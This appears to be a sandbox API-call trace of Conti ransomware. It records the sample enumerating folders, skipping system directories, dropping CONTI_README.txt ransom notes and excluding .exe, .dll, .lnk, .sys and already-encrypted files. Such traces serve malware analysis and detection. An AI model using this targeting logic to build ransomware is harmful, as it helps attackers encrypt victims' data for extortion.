	[0103.904] FindNextFileW (in: hFindFile=0x17c7f30, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="{113527a4-45d4-4b6f-b567-97838f1b04b0}", cAlternateFileName="{11352~1")) returned 1
	[0103.904] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2=".") returned 1
	[0103.904] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="..") returned 1
	[0103.904] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="tmp") returned -1
	[0103.904] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="winnt") returned -1
	[0103.904] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="Application Data") returned -1
	[0103.904] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="AppData") returned -1
	[0103.904] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="temp") returned -1
	[0103.904] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="thumb") returned -1
	[0103.904] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="$Recycle.Bin") returned 1
	[0103.904] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="$RECYCLE.BIN") returned 1
	[0103.904] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="System Volume Information") returned -1
	[0103.904] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="Program Files") returned -1
	[0103.904] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="Program Files (x86)") returned -1
	[0103.904] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="Boot") returned -1
	[0103.904] lstrcmpiW (lpString1="{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="Windows") returned -1
	[0103.904] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Device") returned 44
	[0103.904] lstrlenW (lpString="{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned 38
	[0103.904] GetProcessHeap () returned 0x1720000
	[0103.904] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa8) returned 0x1732c10
	[0103.904] lstrcpyW (in: lpString1=0x1732c10, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Device" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device"
	[0103.904] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\"
	[0103.904] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\", lpString2="{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}"
	[0103.904] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned 83
	[0103.904] GetProcessHeap () returned 0x1720000
	[0103.904] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xac) returned 0x17c0310
	[0103.904] lstrcpyW (in: lpString1=0x17c0310, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}"
	[0103.904] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*"
	[0103.904] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned 83
	[0103.904] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0103.904] GetProcessHeap () returned 0x1720000
	[0103.904] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xca) returned 0x173bf30
	[0103.905] lstrcpyW (in: lpString1=0x173bf30, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}"
	[0103.905] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\"
	[0103.905] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\CONTI_README.txt"
	[0103.905] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0103.906] GetProcessHeap () returned 0x1720000
	[0103.906] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173bf30 | out: hHeap=0x1720000) returned 1
	[0103.906] WriteFile (in: hFile=0x3c8, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0103.907] CloseHandle (hObject=0x3c8) returned 1
	[0103.907] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51c70467, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8270
	[0103.907] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0103.907] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51c70467, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0103.908] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0103.908] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0103.908] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="background.png", cAlternateFileName="")) returned 1
	[0103.908] lstrcmpiW (lpString1="background.png", lpString2=".") returned 1
	[0103.908] lstrcmpiW (lpString1="background.png", lpString2="..") returned 1
	[0103.908] StrStrIW (lpFirst="background.png", lpSrch=".CONTI") returned 0x0
	[0103.908] StrStrIW (lpFirst="background.png", lpSrch="CONTI_README.txt") returned 0x0
	[0103.908] StrStrIW (lpFirst="background.png", lpSrch=".exe") returned 0x0
	[0103.908] StrStrIW (lpFirst="background.png", lpSrch=".dll") returned 0x0
	[0103.908] StrStrIW (lpFirst="background.png", lpSrch=".lnk") returned 0x0
	[0103.908] StrStrIW (lpFirst="background.png", lpSrch=".sys") returned 0x0
	[0103.908] StrStrIW (lpFirst="background.png", lpSrch=".CONTI") returned 0x0
	[0103.908] StrStrIW (lpFirst="background.png", lpSrch="CONTI_README.txt") returned 0x0
	[0103.908] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned 83
	[0103.908] lstrlenW (lpString="background.png") returned 14
	[0103.908] GetProcessHeap () returned 0x1720000
	[0103.908] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc6) returned 0x181d578
	[0103.908] lstrcpyW (in: lpString1=0x181d578, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}"
	[0103.908] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\"
	[0103.908] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\", lpString2="background.png" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"
	[0103.908] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb61, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="behavior.xml", cAlternateFileName="")) returned 1
	[0103.908] lstrcmpiW (lpString1="behavior.xml", lpString2=".") returned 1
	[0103.908] lstrcmpiW (lpString1="behavior.xml", lpString2="..") returned 1
	[0103.908] StrStrIW (lpFirst="behavior.xml", lpSrch=".CONTI") returned 0x0
	[0103.908] StrStrIW (lpFirst="behavior.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0103.908] StrStrIW (lpFirst="behavior.xml", lpSrch=".exe") returned 0x0
	[0103.908] StrStrIW (lpFirst="behavior.xml", lpSrch=".dll") returned 0x0
	[0103.908] StrStrIW (lpFirst="behavior.xml", lpSrch=".lnk") returned 0x0
	[0103.908] StrStrIW (lpFirst="behavior.xml", lpSrch=".sys") returned 0x0
	[0103.908] StrStrIW (lpFirst="behavior.xml", lpSrch=".CONTI") returned 0x0
	[0103.908] StrStrIW (lpFirst="behavior.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0103.908] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned 83
	[0103.908] lstrlenW (lpString="behavior.xml") returned 12
	[0103.909] GetProcessHeap () returned 0x1720000
	[0103.909] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc2) returned 0x181d648
	[0103.909] lstrcpyW (in: lpString1=0x181d648, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}"
	[0103.909] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\"
	[0103.909] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\", lpString2="behavior.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\behavior.xml"
	[0103.909] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51c70467, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x51c70467, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x51c70467, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0103.909] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0103.909] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0103.909] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0103.909] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0103.909] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadc8, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="device.png", cAlternateFileName="")) returned 1
	[0103.909] lstrcmpiW (lpString1="device.png", lpString2=".") returned 1
	[0103.909] lstrcmpiW (lpString1="device.png", lpString2="..") returned 1
	[0103.909] StrStrIW (lpFirst="device.png", lpSrch=".CONTI") returned 0x0
	[0103.909] StrStrIW (lpFirst="device.png", lpSrch="CONTI_README.txt") returned 0x0
	[0103.909] StrStrIW (lpFirst="device.png", lpSrch=".exe") returned 0x0
	[0103.909] StrStrIW (lpFirst="device.png", lpSrch=".dll") returned 0x0
	[0103.909] StrStrIW (lpFirst="device.png", lpSrch=".lnk") returned 0x0
	[0103.909] StrStrIW (lpFirst="device.png", lpSrch=".sys") returned 0x0
	[0103.909] StrStrIW (lpFirst="device.png", lpSrch=".CONTI") returned 0x0
	[0103.909] StrStrIW (lpFirst="device.png", lpSrch="CONTI_README.txt") returned 0x0
	[0103.909] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned 83
	[0103.909] lstrlenW (lpString="device.png") returned 10
	[0103.909] GetProcessHeap () returned 0x1720000
	[0103.909] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbe) returned 0x6510140
	[0103.909] lstrcpyW (in: lpString1=0x6510140, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}"
	[0103.909] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\"
	[0103.909] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\", lpString2="device.png" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"
	[0103.909] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="overlay.png", cAlternateFileName="")) returned 1
	[0103.909] lstrcmpiW (lpString1="overlay.png", lpString2=".") returned 1
	[0103.909] lstrcmpiW (lpString1="overlay.png", lpString2="..") returned 1
	[0103.909] StrStrIW (lpFirst="overlay.png", lpSrch=".CONTI") returned 0x0
	[0103.909] StrStrIW (lpFirst="overlay.png", lpSrch="CONTI_README.txt") returned 0x0
	[0103.909] StrStrIW (lpFirst="overlay.png", lpSrch=".exe") returned 0x0
	[0103.909] StrStrIW (lpFirst="overlay.png", lpSrch=".dll") returned 0x0
	[0103.910] StrStrIW (lpFirst="overlay.png", lpSrch=".lnk") returned 0x0
	[0103.910] StrStrIW (lpFirst="overlay.png", lpSrch=".sys") returned 0x0
	[0103.910] StrStrIW (lpFirst="overlay.png", lpSrch=".CONTI") returned 0x0
	[0103.910] StrStrIW (lpFirst="overlay.png", lpSrch="CONTI_README.txt") returned 0x0
	[0103.910] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned 83
	[0103.910] lstrlenW (lpString="overlay.png") returned 11
	[0103.910] GetProcessHeap () returned 0x1720000
	[0103.910] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc0) returned 0x6510208
	[0103.910] lstrcpyW (in: lpString1=0x6510208, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}"
	[0103.910] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\"
	[0103.910] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\", lpString2="overlay.png" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"
	[0103.910] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="superbar.png", cAlternateFileName="")) returned 1
	[0103.910] lstrcmpiW (lpString1="superbar.png", lpString2=".") returned 1
	[0103.910] lstrcmpiW (lpString1="superbar.png", lpString2="..") returned 1
	[0103.910] StrStrIW (lpFirst="superbar.png", lpSrch=".CONTI") returned 0x0
	[0103.910] StrStrIW (lpFirst="superbar.png", lpSrch="CONTI_README.txt") returned 0x0
	[0103.910] StrStrIW (lpFirst="superbar.png", lpSrch=".exe") returned 0x0
	[0103.910] StrStrIW (lpFirst="superbar.png", lpSrch=".dll") returned 0x0
	[0103.910] StrStrIW (lpFirst="superbar.png", lpSrch=".lnk") returned 0x0
	[0103.910] StrStrIW (lpFirst="superbar.png", lpSrch=".sys") returned 0x0
	[0103.910] StrStrIW (lpFirst="superbar.png", lpSrch=".CONTI") returned 0x0
	[0103.910] StrStrIW (lpFirst="superbar.png", lpSrch="CONTI_README.txt") returned 0x0
	[0103.910] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned 83
	[0103.910] lstrlenW (lpString="superbar.png") returned 12
	[0103.910] GetProcessHeap () returned 0x1720000
	[0103.910] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc2) returned 0x181d4a8
	[0103.910] lstrcpyW (in: lpString1=0x181d4a8, lpString2="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}"
	[0103.910] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\"
	[0103.910] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\", lpString2="superbar.png" | out: lpString1="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png") returned="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"
	[0103.910] FindNextFileW (in: hFindFile=0x17c8270, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="superbar.png", cAlternateFileName="")) returned 0
	[0103.910] GetProcessHeap () returned 0x1720000
	[0103.910] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0310 | out: hHeap=0x1720000) returned 1
	[0103.910] FindClose (in: hFindFile=0x17c8270 | out: hFindFile=0x17c8270) returned 1
	[0103.911] GetProcessHeap () returned 0x1720000
	[0103.911] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732c10 | out: hHeap=0x1720000) returned 1
	[0103.911] FindNextFileW (in: hFindFile=0x17c7f30, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 1
	[0103.911] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2=".") returned 1
	[0103.911] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="..") returned 1
	[0103.911] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="tmp") returned -1
	[0103.911] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="winnt") returned -1
	[0103.911] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="Application Data") returned -1
	[0103.911] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="AppData") returned -1
	[0103.911] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="temp") returned -1
	[0103.911] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="thumb") returned -1
	[0103.911] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="$Recycle.Bin") returned 1
	[0103.911] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="$RECYCLE.BIN") returned 1
	[0103.911] lstrcmpiW (lpString1="{8702d817-5aad-4674-9ef3-4d3decd87120}", lpString2="System Volume Information") returned -1
